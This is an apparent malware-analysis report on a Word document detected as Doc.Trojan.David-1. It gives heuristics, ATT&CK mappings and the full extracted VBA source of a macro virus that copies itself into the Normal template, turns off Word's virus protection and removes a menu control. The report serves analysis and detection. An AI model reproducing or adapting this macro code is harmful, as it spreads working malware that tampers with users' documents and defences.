MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro attempts to overwrite the current document with a decoy file named 'Doc1.doc' and then copies its own 'AutoOpen' macro to the Normal template, suggesting an attempt at persistence. The ClamAV detection 'Doc.Trojan.David-1' further confirms its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.David-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.David-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2074 bytes |
SHA-256: 4089d5094ea98154a72b60480a84e7b8cdae352ad4950c809e56b05164e12353 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Sub Main()
Attribute Main.VB_Description = "Макрос записан 01.11.00 Давыдов Д.В."
Attribute Main.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Макрос1"
'
' Макрос1 Макрос
' Макрос записан 01.11.00
'
' t = InputBox("?")
Pat$ = Options.DefaultFilePath(Path:=wdToolsPath) & "\Doc1.doc"
If Dir(Pat$) = "Doc1.doc" Then a = 1 Else a = 0
If ActiveDocument.VBProject.VBComponents.Count <= 1 Then b = 0 Else b = 10
c = a + b
Select Case c
Case 10
Application.ScreenUpdating = False
ad$ = ActiveDocument.FullName
Selection.WholeStory
Selection.Delete Unit:=wdCharacter, Count:=1
ActiveDocument.SaveAs FileName:= _
Pat$, FileFormat:=wdFormatDocument, LockComments:=False, Password:="", _
AddToRecentFiles:=False, WritePassword:="", ReadOnlyRecommended:=False, _
EmbedTrueTypeFonts:=False, SaveNativePictureFormat:=False, SaveFormsData _
:=False, SaveAsAOCELetter:=False
Documents.Open ad$
Application.OrganizerCopy Source:= _
ad$, Destination:= _
NormalTemplate.FullName, Name:="AutoOpen", Object:=wdOrganizerObjectProjectItems
Documents("Doc1.doc").Close SaveChanges:=wdSaveChanges
Application.ScreenUpdating = True
Case 1
ad$ = ActiveDocument.FullName
Application.OrganizerCopy Source:= _
Pat$, Destination:= _
ad$, Name:="AutoOpen", _
Object:=wdOrganizerObjectProjectItems
CommandBars("Tools").Controls(12).Delete
Options.VirusProtection = False
ActiveDocument.Save
End Select
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.